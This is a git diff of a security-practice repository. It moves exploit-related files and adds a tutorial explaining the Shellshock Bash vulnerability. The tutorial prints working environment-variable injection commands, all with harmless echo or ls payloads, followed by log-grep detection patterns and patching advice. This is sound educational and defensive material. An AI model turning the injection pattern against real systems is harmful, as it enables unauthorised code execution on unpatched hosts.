-329,6 +335,6 @@ xxd -r hello.dump > hello ---- -# Relevant Talks +# Talks -* [Patrick Wardle: Writing OS X Malware](https://vimeo.com/129435995) +* [Patrick Wardle: Writing OS X Malware](https://vimeo.com/129435995). diff --git a/Rubber_Duck/README.md b/Rubber_Duck/README.md index a3e0de8..bf5fbc7 100644 --- a/Rubber_Duck/README.md +++ b/Rubber_Duck/README.md @@ -1,5 +1,4 @@ -Introduction -============ +# Rubber Duck Hacking The [USB Rubber Ducky](https://hakshop.myshopify.com/products/usb-rubber-ducky-deluxe) is an open source Penetration Testing tool for authorized network auditing and security analysis purposes only where permitted subject local and international laws where applicable @@ -7,8 +6,6 @@ This is a repository with all the hacks I have created. In the folder HAK I left the original repository from Hak5. -In the folder bt3gl I left my hacks. - The Duck --------- @@ -47,4 +44,3 @@ Hak5's Introduction __(.)< __(.)> __(.)= Rubber >(.)__ <(.)__ =(.)__ \___) \___) \___) Ducky! (___/ (___/ (___/ -The USB Rubber Ducky is a Human Interface Device programmable with a simple scripting language allowing penetration testers to quickly and easily craft and deploy security auditing payloads that mimic human keyboard input. The source is written in C and requires the AVR Studio 5 IDE from atmel.com/avrstudio. Hardware is commercially available at hakshop.com. Tools and payloads can be found at usbrubberducky.com. Quack! diff --git a/Network_and_802.11/DNS/.DS_Store b/Steganography/.DS_Store similarity index 92% rename from Network_and_802.11/DNS/.DS_Store rename to Steganography/.DS_Store index b92c9f1..c68afa0 100644 Binary files a/Network_and_802.11/DNS/.DS_Store and b/Steganography/.DS_Store differ diff --git a/Linux_Hacking/ShellShocker/scripts/.DS_Store b/Steganography/Images/.DS_Store similarity index 90% rename from Linux_Hacking/ShellShocker/scripts/.DS_Store rename to Steganography/Images/.DS_Store index 24a8821..2bc3276 100644 Binary files a/Linux_Hacking/ShellShocker/scripts/.DS_Store and b/Steganography/Images/.DS_Store differ diff --git a/Steganography/Images/dec_image/._color_crypto.py b/Steganography/Images/dec_image/._color_crypto.py deleted file mode 100644 index 4011d29..0000000 Binary files a/Steganography/Images/dec_image/._color_crypto.py and /dev/null differ diff --git a/Linux_Hacking/.DS_Store b/Steganography/Images/xor_and_adding/.DS_Store similarity index 77% rename from Linux_Hacking/.DS_Store rename to Steganography/Images/xor_and_adding/.DS_Store index 9280a2d..3340932 100644 Binary files a/Linux_Hacking/.DS_Store and b/Steganography/Images/xor_and_adding/.DS_Store differ diff --git a/Steganography/Images/xor_and_adding/compare_two_images.py b/Steganography/Images/xor_and_adding/compare_two_images.py index 8a25f2e..2852215 100755 --- a/Steganography/Images/xor_and_adding/compare_two_images.py +++ b/Steganography/Images/xor_and_adding/compare_two_images.py @@ -1,6 +1,7 @@ #!/usr/bin/env python -__author__='bt3gl' +__author__='Mia Stein' + ''' Compare two aligned images of the same size. diff --git a/Steganography/Images/xor_and_adding/xor_bytes.py b/Steganography/Images/xor_and_adding/xor_bytes.py index 7ad7902..62a1cb2 100644 --- a/Steganography/Images/xor_and_adding/xor_bytes.py +++ b/Steganography/Images/xor_and_adding/xor_bytes.py @@ -1,7 +1,7 @@ #!/usr/bin/env python -__author__ = "bt3gl" +__author__ = "Mia Stein" def xor_str(str1, str2): @@ -15,4 +15,4 @@ if __name__ == '__main__': kTXt = ''.join('28 36 38 2C 10 03 04 14 0A 15 08 14 02 07 08 18 0D 00 61 04 16 11 0B 12 00 07 61 03 0C 73 02 1F 02 1D 06 12 63 04 08 03 0B 1C 14 03 63 1D 0E 03 0A 10 04 2A 61 8F AC C1 00 00 00 00').split() xORk = ''.join('43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57').split() - xor_str(kTXt, xORk) \ No newline at end of file + xor_str(kTXt, xORk) diff --git a/Steganography/Images/xor_and_adding/xor_image_broken/xor_image.py b/Steganography/Images/xor_and_adding/xor_image_broken/xor_image.py index f2d2a16..a34b6bd 100644 --- a/Steganography/Images/xor_and_adding/xor_image_broken/xor_image.py +++ b/Steganography/Images/xor_and_adding/xor_image_broken/xor_image.py @@ -1,4 +1,5 @@ from PIL import Image + img = Image.open('steg100.png') strbit1 = '' diff --git a/Steganography/README.md b/Steganography/README.md index 64f5d62..74c689c 100644 --- a/Steganography/README.md +++ b/Steganography/README.md @@ -1,6 +1,7 @@ # Steganography + ## Images - Adding two images @@ -69,8 +70,6 @@ ____ - - [Bacon's cipher]:http://en.wikipedia.org/wiki/Bacon's_ciphe [Carpenter's Formula]:http://security.cs.pub.ro/hexcellents/wiki/writeups/asis_rsang [pngcheck]: http://www.libpng.org/pub/png/apps/pngcheck.html diff --git a/Memory_Exploits/Assembly/RUNNING_ASM.sh b/Vulnerabilities_and_Exploits/Memory_Exploits/Assembly/RUNNING_ASM.sh similarity index 100% rename from Memory_Exploits/Assembly/RUNNING_ASM.sh rename to Vulnerabilities_and_Exploits/Memory_Exploits/Assembly/RUNNING_ASM.sh diff --git a/Memory_Exploits/Assembly/asm_compiler.sh b/Vulnerabilities_and_Exploits/Memory_Exploits/Assembly/asm_compiler.sh similarity index 100% rename from Memory_Exploits/Assembly/asm_compiler.sh rename to Vulnerabilities_and_Exploits/Memory_Exploits/Assembly/asm_compiler.sh diff --git a/Memory_Exploits/Assembly/get_shell.asm b/Vulnerabilities_and_Exploits/Memory_Exploits/Assembly/get_shell.asm similarity index 100% rename from Memory_Exploits/Assembly/get_shell.asm rename to Vulnerabilities_and_Exploits/Memory_Exploits/Assembly/get_shell.asm diff --git a/Memory_Exploits/Assembly/netcat_backdoor.asm b/Vulnerabilities_and_Exploits/Memory_Exploits/Assembly/netcat_backdoor.asm similarity index 100% rename from Memory_Exploits/Assembly/netcat_backdoor.asm rename to Vulnerabilities_and_Exploits/Memory_Exploits/Assembly/netcat_backdoor.asm diff --git a/Memory_Exploits/Assembly/shellspawn b/Vulnerabilities_and_Exploits/Memory_Exploits/Assembly/shellspawn similarity index 100% rename from Memory_Exploits/Assembly/shellspawn rename to Vulnerabilities_and_Exploits/Memory_Exploits/Assembly/shellspawn diff --git a/Memory_Exploits/Assembly/shellspawn.asm b/Vulnerabilities_and_Exploits/Memory_Exploits/Assembly/shellspawn.asm similarity index 100% rename from Memory_Exploits/Assembly/shellspawn.asm rename to Vulnerabilities_and_Exploits/Memory_Exploits/Assembly/shellspawn.asm diff --git a/Memory_Exploits/Buffer_overflows/stack_overflow_narnia.md b/Vulnerabilities_and_Exploits/Memory_Exploits/Buffer_overflows/stack_overflow_narnia.md similarity index 98% rename from Memory_Exploits/Buffer_overflows/stack_overflow_narnia.md rename to Vulnerabilities_and_Exploits/Memory_Exploits/Buffer_overflows/stack_overflow_narnia.md index ea05977..7014790 100644 --- a/Memory_Exploits/Buffer_overflows/stack_overflow_narnia.md +++ b/Vulnerabilities_and_Exploits/Memory_Exploits/Buffer_overflows/stack_overflow_narnia.md @@ -62,8 +62,8 @@ If you think about it, a Stack is the perfect object for a process: the process -[Python & Algorithms]: https://github.com/bt3gl/Python-and-Algorithms-and-Data-Structures/blob/master/book/book_second_edition.pdf -[here are some examples]: https://github.com/bt3gl/Python-and-Algorithms-and-Data-Structures/tree/master/src/abstract_structures/Stacks +[Python & Algorithms]: https://github.com/go-outside-labs/Python-and-Algorithms-and-Data-Structures/blob/master/book/book_second_edition.pdf +[here are some examples]: https://github.com/go-outside-labs/Python-and-Algorithms-and-Data-Structures/tree/master/src/abstract_structures/Stacks @@ -171,7 +171,7 @@ EGG=0X41414141 To understand more about environments variables in exploits, take a look into my [Shellshock guide]. -[Shellshock guide]: http://bt3gl.github.io/understanding-the-shellshock-vulnerability.html +[Shellshock guide]: http://https://singularity-sh.vercel.app/understanding-the-shellshock-vulnerability.html #### Shell Commands diff --git a/Memory_Exploits/C-codes/crawl_passwd_file.c b/Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/crawl_passwd_file.c similarity index 100% rename from Memory_Exploits/C-codes/crawl_passwd_file.c rename to Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/crawl_passwd_file.c diff --git a/Memory_Exploits/C-codes/dos_tool.c b/Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/dos_tool.c similarity index 100% rename from Memory_Exploits/C-codes/dos_tool.c rename to Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/dos_tool.c diff --git a/Memory_Exploits/C-codes/get_stack_pointer.c b/Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/get_stack_pointer.c similarity index 100% rename from Memory_Exploits/C-codes/get_stack_pointer.c rename to Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/get_stack_pointer.c diff --git a/Memory_Exploits/C-codes/getshadd.c b/Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/getshadd.c similarity index 100% rename from Memory_Exploits/C-codes/getshadd.c rename to Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/getshadd.c diff --git a/Memory_Exploits/C-codes/http_backdoor.c b/Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/http_backdoor.c similarity index 100% rename from Memory_Exploits/C-codes/http_backdoor.c rename to Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/http_backdoor.c diff --git a/Memory_Exploits/C-codes/leave_no_log.c b/Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/leave_no_log.c similarity index 100% rename from Memory_Exploits/C-codes/leave_no_log.c rename to Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/leave_no_log.c diff --git a/Memory_Exploits/C-codes/md5_xor.c b/Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/md5_xor.c similarity index 100% rename from Memory_Exploits/C-codes/md5_xor.c rename to Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/md5_xor.c diff --git a/Memory_Exploits/C-codes/shellcode_encode.c b/Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/shellcode_encode.c similarity index 100% rename from Memory_Exploits/C-codes/shellcode_encode.c rename to Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/shellcode_encode.c diff --git a/Memory_Exploits/C-codes/stack_overflow_generator.c b/Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/stack_overflow_generator.c similarity index 100% rename from Memory_Exploits/C-codes/stack_overflow_generator.c rename to Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/stack_overflow_generator.c diff --git a/Memory_Exploits/C-codes/strobe.c b/Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/strobe.c similarity index 100% rename from Memory_Exploits/C-codes/strobe.c rename to Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/strobe.c diff --git a/Memory_Exploits/C-codes/testing_shellcode.c b/Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/testing_shellcode.c similarity index 100% rename from Memory_Exploits/C-codes/testing_shellcode.c rename to Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/testing_shellcode.c diff --git a/Memory_Exploits/C-codes/testing_shellcode2.c b/Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/testing_shellcode2.c similarity index 100% rename from Memory_Exploits/C-codes/testing_shellcode2.c rename to Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/testing_shellcode2.c diff --git a/Memory_Exploits/C-codes/testing_shellcode3.c b/Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/testing_shellcode3.c similarity index 100% rename from Memory_Exploits/C-codes/testing_shellcode3.c rename to Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/testing_shellcode3.c diff --git a/Memory_Exploits/C-codes/testing_shellcode4.c b/Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/testing_shellcode4.c similarity index 100% rename from Memory_Exploits/C-codes/testing_shellcode4.c rename to Vulnerabilities_and_Exploits/Memory_Exploits/C-codes/testing_shellcode4.c diff --git a/Memory_Exploits/Integer_Overflows/integer_overflows.md b/Vulnerabilities_and_Exploits/Memory_Exploits/Integer_Overflows/integer_overflows.md similarity index 100% rename from Memory_Exploits/Integer_Overflows/integer_overflows.md rename to Vulnerabilities_and_Exploits/Memory_Exploits/Integer_Overflows/integer_overflows.md diff --git a/Memory_Exploits/README.md b/Vulnerabilities_and_Exploits/Memory_Exploits/README.md similarity index 95% rename from Memory_Exploits/README.md rename to Vulnerabilities_and_Exploits/Memory_Exploits/README.md index 5cf8209..3b1e32c 100644 --- a/Memory_Exploits/README.md +++ b/Vulnerabilities_and_Exploits/Memory_Exploits/README.md @@ -1,8 +1,8 @@ -# Memory Exploits +# Memory Hacking ## Memory Corruption -* Unbounded data copying is bad. +Unbounded data copying is bad! * Lots of APIs: @@ -228,7 +228,3 @@ void extractUserZip(char *userFile) - Get env variable ----- - -## Disclaimer -Some of these scripts are older and some of them are not mine. If you see code you recognize here please let me know in a Issue so I can assign proper credit. diff --git a/Memory_Exploits/bash/find_setuid_programs.sh b/Vulnerabilities_and_Exploits/Memory_Exploits/bash/find_setuid_programs.sh similarity index 100% rename from Memory_Exploits/bash/find_setuid_programs.sh rename to Vulnerabilities_and_Exploits/Memory_Exploits/bash/find_setuid_programs.sh diff --git a/Memory_Exploits/bash/get_shellcode_form_an_exe.sh b/Vulnerabilities_and_Exploits/Memory_Exploits/bash/get_shellcode_form_an_exe.sh similarity index 100% rename from Memory_Exploits/bash/get_shellcode_form_an_exe.sh rename to Vulnerabilities_and_Exploits/Memory_Exploits/bash/get_shellcode_form_an_exe.sh diff --git a/Memory_Exploits/python-codes/eggdis.py b/Vulnerabilities_and_Exploits/Memory_Exploits/python-codes/eggdis.py similarity index 100% rename from Memory_Exploits/python-codes/eggdis.py rename to Vulnerabilities_and_Exploits/Memory_Exploits/python-codes/eggdis.py diff --git a/Vulnerabilities_and_Exploits/README.md b/Vulnerabilities_and_Exploits/README.md index 04403b2..da49769 100644 --- a/Vulnerabilities_and_Exploits/README.md +++ b/Vulnerabilities_and_Exploits/README.md @@ -1,7 +1,10 @@ +# Vulnerabilities and Exploits -# Tools + +## Tools ### Keyloggers + * Rin Logger @@ -11,7 +14,7 @@ # Vulnerabilities Glossary -* LD_PRELOAD: hijacking functions to a shared library: you can set this enviroment variable direct to the linker to load a library of your choice. +* `LD_PRELOAD`: hijacking functions to a shared library: you can set this enviroment variable direct to the linker to load a library of your choice. ### Common Vulnerabilities: diff --git a/Vulnerabilities_and_Exploits/shellshock.md b/Vulnerabilities_and_Exploits/shellshock.md new file mode 100644 index 0000000..a75a082 --- /dev/null +++ b/Vulnerabilities_and_Exploits/shellshock.md @@ -0,0 +1,421 @@ +# Understanding the Shellshock Vulnerability + + +Almost a week ago, a new ([old]) type of [OS command Injection] was reported. The **Shellshock** vulnerability, also known as **[CVE-2014-6271]**, allows attackers to inject their own code into [Bash] using specially crafted **environment variables**, and it was disclosed with the following description: + + Bash supports exporting not just shell variables, but also shell functions to other bash instances, via the process environment to(indirect) child processes. Current bash versions use an environment variable named by the function name, and a function definition starting with “() {” in the variable value to propagate function definitions through the environment. The vulnerability occurs because bash does not stop after processing the function definition; it continues to parse and execute shell commands following the function definition. + + For example, an environment variable setting of + VAR=() { ignored; }; /bin/id + will execute /bin/id when the environment is imported into the bash process. (The process is in a slightly undefined state at this point. The PATH variable may not have been set up yet, and bash could crash after executing /bin/id, but the damage has already happened at this point.) + + The fact that an environment variable with an arbitrary name can be used as a carrier for a malicious function definition containing trailing commands makes this vulnerability particularly severe; it enables network-based exploitation. + + + + + +Even scarier, the [NIST vulnerability database] has rated [this vulnerability “10 out of 10” in terms of severity]. At this point, there are claims that the [Shellshock attacks could already top 1 Billion]. [Shellshock-targeting DDoS attacks and IRC bots were spotted less than 24 hours after news about Shellshock went public last week!] [Honeypots are catching several exploit payloads]. Matthew Prince, from [Cloudflare], said yesterday that they are "[seeing north of 1.5 million Shellshock attacks across the CloudFlare network daily]". In the same day, the [Incapsula] team released several plots showing that their application firewall had deflected over 217,089 exploit attempts on over 4,115 domains although almost 70% were scanners (to attempt to verify the vulnerability), almost 35% where either payload to try to hijack the server or [DDoS] malware. + +[Incapsula]:http://www.incapsula.com/blog/shellshock-bash-vulnerability-aftermath.html, +[DDoS]: http://en.wikipedia.org/wiki/Denial-of-service_attack + + + + +[Shellshock-targeting DDoS attacks and IRC bots were spotted less than 24 hours after news about Shellshock went public last week!]: http://www.inforisktoday.co.uk/attackers-exploit-shellshock-bug-a-7361 +[seeing north of 1.5 million Shellshock attacks across the CloudFlare network daily]: https://twitter.com/eastdakota/status/516457250332741632 +[Cloudflare]: https://www.cloudflare.com/ +[CVE-2014-6271]: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271 +[old]: http://blog.erratasec.com/2014/09/shellshock-is-20-years-old-get-off-my.html +[OS command Injection]: http://cwe.mitre.org/data/definitions/78.html +[CWE (Common Weakness Enumeration)]: http://cwe.mitre.org/index.html +[Bash]: http://www.gnu.org/software/bash/ +[NIST vulnerability database]: http://nvd.nist.gov/ +[this vulnerability “10 out of 10” in terms of severity]: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271 +[Honeypots are catching several exploit payloads]: http://www.alienvault.com/open-threat-exchange/blog/attackers-exploiting-shell-shock-cve-2014-6721-in-the-wild +[Shellshock attacks could already top 1 Billion]: http://www.securityweek.com/shellshock-attacks-could-already-top-1-billion-report?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+Securityweek+%28SecurityWeek+RSS+Feed%29 + + + + +------------------------------ +## Understanding the Bash Shell + + +To understand this vulnerability, we need to know how Bash handles functions and environment variables. + +The [GNU Bourne Again shell (BASH)] is a [Unix shell] and [command language interpreter]. It was released in 1989 by [Brian Fox] for the [GNU Project] as a free software replacement for the [Bourne shell] (which was born back in 1977). + +```sh +$ man bash +NAME + bash - GNU Bourne-Again SHell +SYNOPSIS + bash [options] [file] +COPYRIGHT + Bash is Copyright (C) 1989-2011 by the Free Software Foundation, Inc. +DESCRIPTION + Bash is a sh-compatible command language interpreter that executes commands read from the standard input or from a file. Bash also incorporates useful features from the Korn and C shells (ksh and csh). +(...) +``` + + Of course, there are [other command shells out there]. However, Bash is the default shell for most of the Linux systems (and Linux-based systems), including many Debian-based distributions and the Red Hat & Fedora & CentOS combo. + + +### Functions in Bash + +The interesting stuff comes from the fact that Bash is also a scripting language, with the ability to define functions. This is super useful when you are writing scripts. For example, ```hello.sh```: +```sh +#!/bin/bash +function hello { + echo Hello! +} +hello +``` +which can be called as: +```sh +$ chmod a+x hello.sh +$ ./hello.sh +Hello! +``` + +A function may be compacted into a single line. You just need to choose a name and put a ```()``` after it. Everything inside ```{}``` will belong to the scope of your function. + +For example, we can create a function ```bashiscool``` that uses ```echo``` to display message on the standard output: + +```sh +$ bashiscool() { echo "Bash is actually Fun"; } +$ bashiscool +Bash is actually Fun +``` + + +### Child Processes and the ```export``` command + +We can make things even more interesting. The statement ```bash -c ``` can be used to execute a new instance of Bash, as a subprocess, to run new commands (```-c``` passes a string with a command). The catch is that the child process does not inherit the functions or variables that we defined in the parent: +```sh +$ bash -c bashiscool # spawn nested shell +bash: bashiscool: command not found +``` + + +So before executing a new instance of Bash, we need to export the **environment variables** to the child. That's why we need the ```export``` command. In the example below, the flag ```-f``` means *read key bindings from filename*: +```sh +$ export -f bashiscool +$ bash -c bashiscool # spawn nested shell +Bash is actually Fun +``` + + + +In other words, first, the ```export``` command creates a **regular environment variable** containing the function definition. Then, the second shell reads the environment. If it sees a variable that looks like a function, it evaluates this function! + + +### A Simple Example of an Environment Variable + + +Let's see how environment variables work examining some *builtin* Bash command. For instance, a very popular one, ```grep```, is used to search for pattern in files (or the standard input). + +Running ```grep``` in a file that contains the word 'fun' will return the line where this word is. Running ```grep``` with a flag ```-v``` will return the non-matching lines, *i.e.,* the lines where the word 'fun' does not appear: +```sh +$ echo 'bash can be super fun' > file.txt +$ echo 'bash can be dangerous' >> file.txt +$ cat file.txt + bash can be super fun + bash can be dangerous +$ grep fun file.txt + bash can be super fun +$ grep -v fun file.txt + bash can be dangerous +``` + +The ```grep``` command uses an environment variable called **GREP_OPTIONS** to set default options. This variable is usually set to: +```sh +$ echo $GREP_OPTIONS +--color=auto +``` + + To update or create a new environment variable, it is not enough to use the Bash syntax ```GREP_OPTIONS='-v'```, but instead we need to call the *builtin* ```export```: + +```sh +$ GREP_OPTIONS='-v' +$ grep fun file.txt + bash can be super fun +$ export GREP_OPTIONS='-v' +$ grep fun file.txt + bash can be dangerous +``` + +### The ```env``` command + +Another Bash *builtin*, the ```env``` prints the environment variables. But it can also be used to run a single command with an exported variable (or variables) given to that command. In this case, ```env``` starts a new process, then it modifies the environment, and then it calls the command that was provided as an argument (the ```env``` process is replaced by the command process). + +In practice, to use ```env``` to run commands, we: + + 1. set the environment variable value with env, + 2. spawn a new shell using bash -c, + 3. pass the command/function we want to run (for example, grep fun file.txt). + +For example: +```sh +$ env GREP_OPTIONS='-v' | grep fun file.txt # this does not work, we need another shell +bash can be super fun +$ env GREP_OPTIONS='-v' bash -c 'grep fun file.txt' # here we go +bash can be dangerous + +``` + +### Facing the Shellshock Vulnerability + + + +What if we pass some function to the variable definition? +```sh +$ env GREP_OPTIONS='() { :;};' bash -c 'grep fun file.txt' +grep: {: No such file or directory +grep: :;};: No such file or directory +grep: fun: No such file or directory +``` +Since the things we added are strange when parsed to the command ```grep```, it won't understand them. + +What if we add stuff *after* the function? Things start to get weirder: +```sh +$ env GREP_OPTIONS='-v () { :;}; echo NOOOOOOOOOOOOOOO!' bash -c 'grep fun file.txt' +grep: {: No such file or directory +grep: :;};: No such file or directory +grep: echo: No such file or directory +grep: NOOOOOOOOOOOOOOO!: No such file or directory +grep: fun: No such file or directory +file.txt:bash can be super fun +file.txt:bash can be dangerous + +``` + +Did you notice the confusion? *Both* matches and non-matches were printed! It means that some stuff was parsed well! When in doubt, Bash appears to do *everything*? + +Now, what if we just keep the function, taking out the only thing that makes sense, ```-v```? +```sh +$ env GREP_OPTIONS='() { :;}; echo NOOOOOOOOOOOOOOO!' bash -c 'grep fun file.txt' +NOOOOOOOOOOOOOOO! +grep: {: No such file or directory +grep: :: No such file or directory +grep: }: No such file or directory +grep: fun: No such file or directory +``` +Did you notice that ```echo NOOOOOOOOOOOOOOO!``` was executed normally? **This is the (first) Shellshock bug!** + +This works because when the new shell sees an environment variable beginning with ```()```, it gets the variable name and executes the string following it. This includes running anything after the function, *i.e*, the evaluation does not stop when the end of the function definition is reached! + +Remember that ```echo``` is not the only thing we can do. The possibilities are unlimited! For example, we can issue any ```/bin``` command: +```sh +$ env GREP_OPTIONS='() { :;}; /bin/ls' bash -c 'grep fun file.txt' +anaconda certificates file.txt IPython +(...) +``` + +WOW. + +Worse, we actually don't need to use a system environment variable nor even call a real command: +```sh +$ env test='() { :;}; echo STILL NOOOOOOOO!!!!' bash -c : +STILL NOOOOOOOO!!!! +``` + + +In the example above, ```env``` runs a command with an arbitrary variable (test) set to some function (in this case is just a single ```:```, a Bash command defined as doing nothing). The semi-colon signals the end of the function definition. Again, the bug is in the fact that there's nothing stopping the parsing of what is after the semi-colon! + + +Now it's easy to see if your system is vulnerable, all you need to do is run: +```sh +$ env x='() { :;}; echo The system is vulnerable!' bash -c : +``` + +That simple. + + + +[GNU Bourne Again shell (BASH)]: http://www.gnu.org/software/bash/ +[Unix shell]: http://en.wikipedia.org/wiki/Bash_(Unix_shell) +[Brian Fox]: http://en.wikipedia.org/wiki/Brian_Fox_(computer_programmer) +[GNU Project]: http://www.gnu.org/gnu/thegnuproject.html +[Bourne shell]: http://en.wikipedia.org/wiki/Bourne_shell +[command language interpreter]:http://en.wikipedia.org/wiki/Command-line_interface +[other command shells out there]: http://en.wikipedia.org/wiki/Comparison_of_command_shells + + +---- + +## There is more than one! +The Shellshock vulnerability is an example of an [arbitrary code execution] (ACE) vulnerability, which is executed on running programs. An attacker will use an ACE vulnerability to run a program that gives her a simple way of controlling the targeted machine. This is nicely achieved by running a Shell such as Bash. + +It is not surprising that right after a patch for [CVE-2014-6271] was released, several new issues were opened: + +[arbitrary code execution]: http://en.wikipedia.org/wiki/Arbitrary_code_execution + + +* [CVE-2014-7169]: Right after the first bug was disclosed, a [tweet] from [Tavis Ormandy] showed a *further parser error* that became the second vulnerability: +```sh +$ env X='() { (a)=>\' bash -c "echo vulnerable"; bash -c "echo Bug CVE-2014-7169 patched" +vulnerable +``` + +* [CVE-2014-7186] and [CVE-2014-7187]: A little after the second bug, two other bugs were found by [Florian Weimer]. One concerning *out of bound memory read error* in [redir_stack] and the other an *off-by-one error in nested loops*. You can check these vulnerabilities in your system [with this script]. + +* [CVE 2014-6277] and [CVE 2014-6278]: A couple of days ago, these new bugs were found by [Michal Zalewski]. + +What do you think, is Shellshock [just a blip]? + +[just a blip]: http://blog.erratasec.com/2014/09/the-shockingly-bad-code-of-bash.html +[with this script]: https://github.com/hannob/bashcheck +[Florian Weimer]: http://www.enyo.de/fw/ + +[Michal Zalewski]:http://lcamtuf.blogspot.de/2014/09/bash-bug-apply-unofficial-patch-now.html + +[CVE 2014-6277]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6277 + +[CVE 2014-6278]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278 +[tweet]: https://twitter.com/taviso/status/514887394294652929 + +[Tavis Ormandy]: http://taviso.decsystem.org/ + +[redir_stack]: http://tools.cisco.com/security/center/viewAlert.x?alertId=35860 + +---- +## Suggestions to Protect Your System + + +Several patches have been released since the Shellshock vulnerabilities were found. Although at this point they [seem to solve most of the problem], below are some recommendations to keep your system safer: + +[seem to solve most of the problem]: https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/ + + +- Update your system! And keep updating it... Many Linux distributions have released new Bash software versions, so follow the instructions of your distribution. In most of the cases, a simple ```yum update``` or ```apt-get update``` or similar will do it. If you have several servers, the script below can be helpful: +```sh +#!/bin/bash +servers=( +120.120.120.120 +10.10.10.10 +22.22.22.22 +) +for server in ${servers[@]} +do +ssh $server 'yum -y update bash' +done +``` + + + + +- Update firmware on your router or any other web-enabled devices, as soon as they become available. Remember to only download patches from reputable sites (only HTTPS please!), since scammers will likely try to take advantage of Shellshock reports. + + +- Keep an eye on all of your accounts for signs of unusual activity. Consider changing important passwords. + + + + +- HTTP requests to CGI scripts have been identified as the major attack vector. Disable any scripts that call on the shell (however, it does not fully mitigate the vulnerability). To check if your system is vulnerable, you can use [this online scanner]. Consider [mod_security] if you're not already using it. + + + +- Because the HTTP requests used by Shellshock exploits are quite unique, monitor logs with keywords such as ```grep '() {' access_log```or ```cat access_log |grep "{ :;};"```. Some common places for http logs are: ```cPanel: /usr/local/apache/domlogs/```, ```Debian/Apache: /var/log/apache2/```, or ```CentOS: /var/log/httpd/```. + +- [Firewall and network filters] can be set to block requests that contain a signature for the attack, *i.e* ```“() {“```. + +- If case of an attack, publish the attacker's information! You can use [awk] and [uniq] (where *print $1* means print the first column) to get her IP, for example: +```sh +$ cat log_file |grep "{ :;};" | awk '{print $1}'|uniq +``` + + + +- If you are on a managed hosting subscription, check your company's status. For example: [Acquia], [Heroku], [Mediatemple], and [Rackspace]. + +- Update your Docker containers and AWS instances. + + +- If you are running production systems that don't need exported functions at all, take a look at [this wrapper] that refuses to run bash if any environment variable's value starts with a left-parent. + + +[Firewall and network filters]: https://access.redhat.com/articles/1212303 +[this wrapper]: https://github.com/dlitz/bash-shellshock +[this online scanner]: http://milankragujevic.com/projects/shellshock/ +[mod_security]: https://access.redhat.com/articles/1212303 +[CVE-2014-6278]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278 +[CVE-2014-6277]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6277 +[CVE-2014-7187]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7187 +[CVE-2014-7186]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7186 +[CVE-2014-7169]:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169 +[CVE-2014-6271]:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271 +[Acquia]: https://docs.acquia.com/articles/september-2014-gnu-bash-upstream-security-vulnerability +[Rackspace]: https://status.rackspace.com/ +[Mediatemple]: http://status.mediatemple.net/ +[Heroku]: https://status.heroku.com/incidents/665 +[awk]: http://www.grymoire.com/Unix/Awk.html +[uniq]: http://en.wikipedia.org/wiki/Uniq + + + + +--- + +## Further References + + +#### Reviews + +[http://stephane.chazelas.free.fr/](http://stephane.chazelas.free.fr) + +[https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack](https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack) + +[http://lcamtuf.blogspot.co.uk/2014/09/quick-notes-about-bash-bug-its-impact.html](http://lcamtuf.blogspot.co.uk/2014/09/quick-notes-about-bash-bug-its-impact.html) + +[http://www.openwall.com/lists/oss-security/2014/09/24/11](http://www.openwall.com/lists/oss-security/2014/09/24/11) + +[http://blog.erratasec.com/2014/09/bash-bug-as-big-as-heartbleed.html#.VCNbefmSx8G](http://blog.erratasec.com/2014/09/bash-bug-as-big-as-heartbleed.html#.VCNbefmSx8G) + +[http://seclists.org/oss-sec/2014/q3/649](http://seclists.org/oss-sec/2014/q3/649) + +[http://www.circl.lu/pub/tr-27/#recommendations](http://www.circl.lu/pub/tr-27/#recommendations) + +[http://www.troyhunt.com/2014/09/everything-you-need-to-know-about.html](http://www.troyhunt.com/2014/09/everything-you-need-to-know-about.html) + +[http://lcamtuf.blogspot.com/2014/09/quick-notes-about-bash-bug-its-impact.html](http://lcamtuf.blogspot.com/2014/09/quick-notes-about-bash-bug-its-impact.html) + +#### Bugs Description + 